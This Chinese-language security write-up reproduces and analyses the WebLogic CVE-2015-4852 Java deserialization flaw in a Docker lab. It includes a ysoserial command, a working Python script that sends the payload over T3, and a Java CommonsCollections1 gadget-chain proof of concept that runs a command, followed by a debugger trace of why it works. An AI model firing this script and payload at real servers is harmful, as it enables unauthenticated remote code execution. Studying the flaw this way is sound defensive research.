声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
15年由FoxGlove团队
(https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#commons)
爆出的Java反序列化漏洞,让weblogic、Websphere、Jenkins等都纷纷中招,本文以WebLogic漏洞来进行探索,也算是老生常谈。虽然网上有一些分析CVE-2015-4852的文章,但是有很多地方对于我这样的小白不太能理解,还有很多直接对CommonsCollections分析的,不能解答我的困惑。在开始分析前,先记录下,有两个问题需要探索。
1.为什么CommonsCollections能在WebLogic中经过T3自动引发?在收到数据后Weblogic到底怎么操作然后调用CommonsCollections的?
2.为什么CommonsCollections能够引起命令执行,需要什么条件?有哪些类是类似的?
文笔粗糙,如有不当,请各位师傅批评指正。
复现
环境搭建
环境:centos7.3;docker + docker-compose
● vim Dockerfile
FROM vulhub/weblogic
ENV debugFlag true
EXPOSE 7001
EXPOSE 8453
● vim docker-compose.yml
version: '2'
services:
weblogic:
build: .
ports:
- "7001:7001"
- "8453:8453"
● docker-compose up -d
● 本地访问192.168.132:7001
复现
用ysoserial
ttps://github.com/frohoff/ysoserial)
先生成反序列化文件
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections1 "touch /tmp/success" > poc.ser
用之前学习T3时的脚本
import binascii
import socket
import time
def exp(ip, port, file):
t3_header = 't3 10.3.6nAS:255nHL:19nn'
host = (ip, int(port))
# socket connect
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(15)
sock.connect(host)
# send t3 header
sock.send(t3_header.encode('utf-8'))
# time.sleep(1)
resp1 = sock.recv(1024)
# first part
data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
# second part, BIN -> HEX
with open(file, 'rb') as f:
payload = binascii.b2a_hex(f.read()).decode('utf-8')
# join
data = data1 + payload
# get lenth and join
data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
# a2b: HEX -> BIN
sock.send(binascii.a2b_hex(data))
if __name__ == '__main__':
exp('192.168.116.132','7001','E:poc.ser')
进入容器,验证是否执行成功
docker exec -it 363 bash
ls /tmp
成功创建success文件
深入分析
远程调试
搭建环境复现的时候我们已经对容器开去了远程调试服务,下面只需要对本地IDEA环境进行部署。
首先从容器拷贝root目录,然后单独将相关的jar包拷贝出来
docker cp 363:/root .
mkdir jar_lib
find ./ -name *.jar -exec cp {} jar_lib/ ;
将上述jar_lib和root放到本地,然后用IDEA打开root/Oracle/Middleware/wlserver_10.3,将jar_lib加入libraries
选择weblogic自带的jdk root/jdk/jdk1.6.0_45
添加远程JVM
然后debug,出现下图说明连接上了远程JVM
Weblogic源码分析
ok,到这里我们万事俱备,只差Debug的入口,从哪里入口是一个难题。
首先我考虑的是T3相关的jar,那肯定T3相关的处理能拦截到,但是在weblogic.jar下面找了几个T3的试了下都不成功
weblogic.common.T3Connection # 不能拦截
weblogic.common.T3Client # 不能拦截
weblogic.rjvm.t3.ProtocolHandlerT3 # 能拦截,但是只要发送包就会拦截,发送协议头就被拦截了,不符合要求
然后在我有点绝望的时候,在Weblogic漏洞Java反序列化CVE-2015-4852解析
(https://blog.csdn.net/simonnews/article/details/105765017)博客中发现有说明漏洞的补丁情况
所以就想我为什么不能在这些地方打断点分析呢?通过快捷键(双击shift)查找,找到了这些类的位置如下
wlthint3client.jar:weblogic.rjvm.InboundMsgAbbrev
wlthint3client.jar:weblogic.rjvm.MsgAbbrevInputStream
weblogic.jar:weblogic.iiop.Utils
在wlthint3client.jar:weblogic.rjvm.InboundMsgAbbrev:23行这里打断点试试,然后执行脚本,成功拦截
参数var1.head可以看到是我们发送的包含了反序列化数据的包,InboundMsgAbbrev# read()应该是处理从客户端接收到的数据进行读取
往下执行到readObject,我们F7进入该方法进行分析
执行var1.read,继续F7深入
进入到readObject(),往下执行var2=0进入case 0,return (new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject();
我们先分析new InboundMsgAbbrev.ServerChannelInputStream(var1)
进入后,继续深入getServerChannel()
然后进入到
weblogic.rjvm.MsgAbbrevInputStream# getServerChannel(),这个类就是我们刚刚看到的打补丁的第二个地方
继续深入getChannel看看,这次不是在同一个jar了,进入到了
weblogic.jar:weblogic.rjvm.t3.MuxableSocketT3.T3MsgAbbrevJVMConnection# getChannel(),这里是刚开始找debug入口时看到的类,处理T3协议的socket
继续深入进入
weblogic.socket.BaseAbstractMuxableSocket(BaseAbstractMuxableSocket implements MuxableSocket, SocketRuntime, ContextHandler, Serializable)
返回了channel,这个时候看到了("AS:" + MsgAbbrevJVMConnection.ABBREV_TABLE_SIZE + "n" + "HL" + ":" + 19 + "nn")跟之前学习T3的构造包联系上了
继续执行,一步步返回到了最初的位置,这个时候完成了ServerChannelInputStream的实例,其实到这里我们可以看出经过这几个步骤,能够对传入的socket进行T3的处理,获取到信息流。接下来调用readObject,我们需要认真分析下这个
进入ChunkedObjectInputStream# read(),curEndEnvelop=-1,调用super.read(),F7进入read()
进入到了ChunkedInputStream# read(),该方法主要是读取head数据也就是我们发送的包
继续返回ChunkedObjectInputStream# read(),会继续调用ChunkedObjectInputStream# read(var1,var2,var3)以及ChunkedInputStream# read(var1,var2,var3),往后执行,发现这几个方法是对数据流进行分块处理,按照7870即xp将序列化部分分块,依次解析每块的类,然后去执行
以下为分析过程中记录的每个分块的类的解析
chunkedpos从109-239,sun.reflect.annotation.AnnotationInvocationHandler
chunkedpos从239-393,org.apache.commons.collections.map.TransformedMap
chunkedpos从239-533,org.apache.commons.collections.functors.ChainedTransformer
chunkedpos从533-595,[Lorg.apache.commons.collections.Transformer;
chunkedpos从595-708,org.apache.commons.collections.functors.ConstantTransformer
chunkedpos从708-742,java.lang.Runtime
chunkedpos从742-917,org.apache.commons.collections.functors.InvokerTransformer
chunkedpos从917-953,[Ljava.lang.Object;
chunkedpos从953-1018,[Ljava.lang.Class;
chunkedpos从1018-1055,java.lang.String
chunkedpos从1055-1131,java.lang.Object
chunkedpos从1131-1256,java.util.HashMap
chunkedpos从1256-1338,java.lang.annotation.Retention
根据上面的解析对应到包其实就是下面的图,也就是在反序列化过程中我们调用的类
到这里我们解答了一开始提出的第一个问题:为什么CommonsCollections能在WebLogic中经过T3自动引发?在收到数据后Weblogic到底怎么操作然后调用CommonsCollections的?也就是刚刚说的wlthint3client.jar:weblogic.rjvm.InboundMsgAbbrev将T3数据流的序列化部分依次分块解析类,因为没有在对序列化数据解析时判断他是否安全,没有任何过滤,所以可以直接调用CommonsCollections1中涉及到的所有类。
CommonsCollections1分析
第一个调用CommonsCollections的问题我们清楚了,现在需要探讨第二个问题为什么CommonsCollections能够引起命令执行?
网上模仿ysoserial的CommonsCollections1的代码,这里用的是LazyMap利用链
思路:执行代码生成序列化数据,在这个过程中深入看看到底是怎么执行的命令。这里有个坑,我刚开始执行的时候没有弹出计算器,用的jdk1.8_111,后来换了jdk1.6_45可以了。
package Pocs.WebLogic;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CVE_2015_4852 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers);
HashMap<String, String> innerMap = new HashMap<String, String>();
Map lazyMap = LazyMap.decorate(innerMap, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
InvocationHandler handler1 = (InvocationHandler) cons.newInstance(Override.class, mapProxy);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler1);
oos.flush();
oos.close();
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
需要导入CommonsCollections,因为在之前的weblogic包里面没有找到,就去容器里面找到了,导入到项目里面即可。
在Transformer[]数组这里打上断点,开始一步一步分析这段代码
为了方便梳理,我们分为三部分进行分析:
分析第一部分
先生成Transformer数组,值分别是1个ConstantTransformer对象和3个InvokerTransformer对象
先看下Transformer,CTRL+H可以看到Transformer的继承实现关系,ConstantTransformer和InvokerTransformer都实现了Transformer,这里提一下ChainedTransformer也实现了Transformer,后面会用到。
回到main,步入分析下每个对象的生成
ConstantTransformer(Object constantToReturn),构造一个ConstantTransformer对象,并且设置对象的iConstant值为传入的参数值;重写transformer,返回构造函数传入的值,该值是class类型
InvokerTransformer(String methodName, Class[] paramTypes, Object[] args):构造函数获取方法名、参数类型、参数将其赋值给对象;transform(Object input) 获取类的方法名、参数类型、参数 采用反射机制调用该方法
new Transformer[]完成,此时我们生成了一个transformer数组如下图
接着new一个ChainedTransformer,F7步入分析
ChainedTransformer(Transformer[] transformers):将参数Transformer数组 赋值给对象;transform(Object object)将TransFormer数组的值 依次执行数组每个对象的transform()方法,也就是按照数组顺序去调用transform(),这里有一点容易遗漏,每次调用完transform()会赋值给Object作为下一次调用transform的参数。
以上我们在分析transformer接口的实现类时都分析了它的实现方法transform(),这个是后面要用到的
到这里new ChainedTransformer()完成
分析第二部分
我们继续往下,生成一个HashMap的实例innerMap,接着调用LazyMap.decorate(innerMap, chain)
这里我们看下HashMap和LazyMap,以一段代码来分析下。我们测试了两个实例,一个时LazyMap的Factory factory,一个是LazyMap的Transformer factory。
package Pocs.WebLogic;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
public class MapTest {
public static void main(String arg[]) {
testLazyMap();
testLazyMapTransformer();
}
public static void testLazyMap() { //LazyMap的Factory factory测试
Factory valFactory = new Factory() { //创建一个工厂,实现create方法
public Object create() {
return "Factory test";
}
};
Map lazyMap = LazyMap.decorate(new HashMap(), valFactory); //当此lazyMap调用get(key)时,如果无此key则返回varFactory里create方法返回的值
lazyMap.put("Map", "Maptest");
System.out.println(lazyMap.get("Map")); //有key对应的值时
System.out.println(lazyMap.get(123)); //无此key时自动调用varFactory里create方法
}
public static void testLazyMapTransformer() { //LazyMap的Transformer factory测试
Transformer transformer = new Transformer() {//创建一个transformer
@Override
public Object transform(Object o) {
return "Transformer test";
}
};
Map lazyMap = LazyMap.decorate(new HashMap(), transformer); //当此lazyMap调用get(key)时,如果无此key则调用Transformer的transform方法
lazyMap.put("Map", "Maptest");
System.out.println(lazyMap.get("Map")); //有key对应的值时
System.out.println(lazyMap.get(123)); //无此key时自动调用Transformer的transform方法
}
}
从以上代码我们可以看出,在testLazyMapTransformer中,我们首先实现了Transformer,重写了transform方法,然后new了一个普通的HashMap,调用LazyMap.decorate(new HashMap(), transformer),相当于提前定义了在hashMap中对没有key存在的情况的处理方法,就是调用Transformer.transform()。
现在我们回来刚刚的位置,调用LazyMap,步入分析LazyMap将innerMap和chain赋值给对象的属性map和factory,这里chain也是Transformer类型的。根据我们上面的分析,在调用LazyMap.decorate(innerMap, chain)的时候,就是定义了innerMap的无key处理方法:去自动调用chain.transform()。
到这里我们基本已经清晰了一半
1.创建了一个Transform数组,这个数组的值是一个ContranTransformer和三个InvokerTransformer对象,ContranTransformer.transformer()可以返回class【这里是Runtime】,而InvokerTransformer可以通过反射机制去执行我们想要执行的方法,也就是getRuntime()、invoke、exec
2.new ChainedTransformer(transformers)创建一个ChainedTransformer实例,将Transform数组赋值给对象,ChainedTransformer.transform()将TransFormer数组的每个对象按照顺序依次执行数组每个对象的transform()方法
3.LazyMap.decorate(innerMap, chain)定义了innerMap的无key处理方法:去自动调用chain.transform()
4.完成以上三步,当我们获取LazyMap的key不存在时,就会去调用chain.transform(),从而依次4个对象的transform(),也就是下图 1 先获取类Runtime,2 getMethod(getRuntime),3 invoke(),4 exec("calc"),因为前一个执行的结果会作为参数给下一个调用,所以最后会执行Runtime.getRuntime().exec("calc")
分析第三部分
继续往下分析,Class.forName获取AnnotationInvocationHandler类,接着 clazz.getDeclaredConstructor获取构造方法sun.reflect.annotation.AnnotationInvocationHandler(java.lang.Class, java.util.Map),设置可调用
下面就是动态代理部分,结合之前学习的动态代理步骤来理解下
1、(InvocationHandler) cons.newInstance(Override.class, lazyMap)相当于sun.reflect.annotation.AnnotationInvocationHandler(Override.class, LazyMap),构造了一个AnnotationInvocationHandler实例handler。学习动态代理时我们知道需要InvocationHandler的invoke()来进行代理,所以AnnotationInvocationHandler必须实现了InvocationHandler和重写Invoke方法。所以这里我们分析下AnnotationInvocationHandler的构造函数和Invoke方法。
AnnotationInvocationHandler(Override.class, lazyMap)构造方法将参数值赋给属性;
结合下面创建代理用的接口是Map,分析invoke(),重点是三步:
// var2是Map接口的某个方法
//获取方法名
String var4 = var2.getName();
//获取方法的参数类型,var3是传入的参数
Class[] var5 = var2.getParameterTypes();
//LazyMap.get(Map任一方法的名称),这里是非常关键的一点,这一这里用到了LazyMap的get方法也就是get Key,上面分析过,key不存在时,就会去调用chain的transform()
Object var6 = this.memberValues.get(var4);
2、LazyMap.class.getClassLoader()指定LazyMap的类加载、LazyMap.class.getInterfaces()指定LazyMap的接口作为被代理的对象,那么就是LazyMap继承的接口Map的方法,所以其实这里被代理对象是Map的方法
3、Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler):结合上面1、2步骤的分析其实很清楚了,用handler的invoke()代理Map接口的方法,而invoke()中有关键的一步this.memberValues.get(var4),会调用LazyMap.get(Map任一方法的名称),从而调用chain.transform()。所以当我们调用mapProxy的被代理方法,也就是Map的任一方法就会去触发调用invoke()从而调用chain.transform()
4、InvocationHandler handler1 = (InvocationHandler) cons.newInstance(Override.class, mapProxy):创建一个实例handler1,这时将mapProxy赋值给this.memberValues
5、下面就是序列化和反序列,在这里我困惑了好久,不知道到底怎么去调用的Map的某个方法来触发的。ysoserial的Gadget chain里面有AnnotationInvocationHandler.readObject,没理解怎么就调用了AnnotationInvocationHandler.readObject(),看了E_Bwill大佬的[深入理解 JAVA 反序列化漏洞](https://paper.seebug.org/312/# 6-java-apache-commonscollections-rce)我终于明白了。
根据E_Bwill的代码,改写了下面的这个例子,我们要进行序列化的对象如果重写了readObject()方法,在反序列化时会调用重写后的readObject()。这也就解释了为什么Object obj = (Object) ois.readObject()这里会调用AnnotationInvocationHandler.readObject()
import java.io.*;
public class ReadObjectTest {
public static void main(String[] args) throws Exception{
//创建一个ReadObjectOverride对象
ReadObjectOverride readObjectOverride = new ReadObjectOverride();
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(readObjectOverride);
oos.flush();
oos.close();
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
class ReadObjectOverride implements Serializable{
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
而AnnotationInvocationHandler.readObject()里面调用了我们刚刚分析的触发点Map接口的方法也就是Map.entrySet()。
思考和启发
在前言的问题“为什么CommonsCollections能够引起命令执行,需要什么条件?有哪些类是类似的?”我们解决了前一部分问题,哪些类是类似的,可以被用作反序列来执行命令,需要我们去寻找。
通过上面的分析也给我们后续学习或者挖洞提供了一点思路:首先我们需要找一个接收序列化数据的入口,便于我们传序列化数据,传入后程序需要进行反序列化;然后我们需要找到能够执行命令的利用链,并且这个利用链是不被服务器拦截的。
还是那句话,纸上得来终觉浅, 绝知此事要躬行。
参考链接
What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.
(https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#commons)
IDEA+docker,进行远程漏洞调试(weblogic)
(https://www.cnblogs.com/ph4nt0mer/p/11772709.html)
以Commons-Collections为例谈Java反序列化POC的编写
(https://www.anquanke.com/post/id/195865)
Java反序列化漏洞分析
(https://www.cnblogs.com/ssooking/p/5875215.html)
Weblogic漏洞Java反序列化CVE-2015-4852解析
(https://blog.csdn.net/simonnews/article/details/105765017)
BidiMap-MultiMap-LazyMap
(https://www.iteye.com/blog/shukuiyan-2298947)
深入理解 JAVA 反序列化漏洞
(https://paper.seebug.org/312/#6-java-apache-commonscollections-rce)
注:本文由E安全编译报道,转载请注原文地址 https://www.easyaq.com
推荐阅读:
▼点击“阅读原文” 查看更多精彩内容
喜欢记得打赏小E哦!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论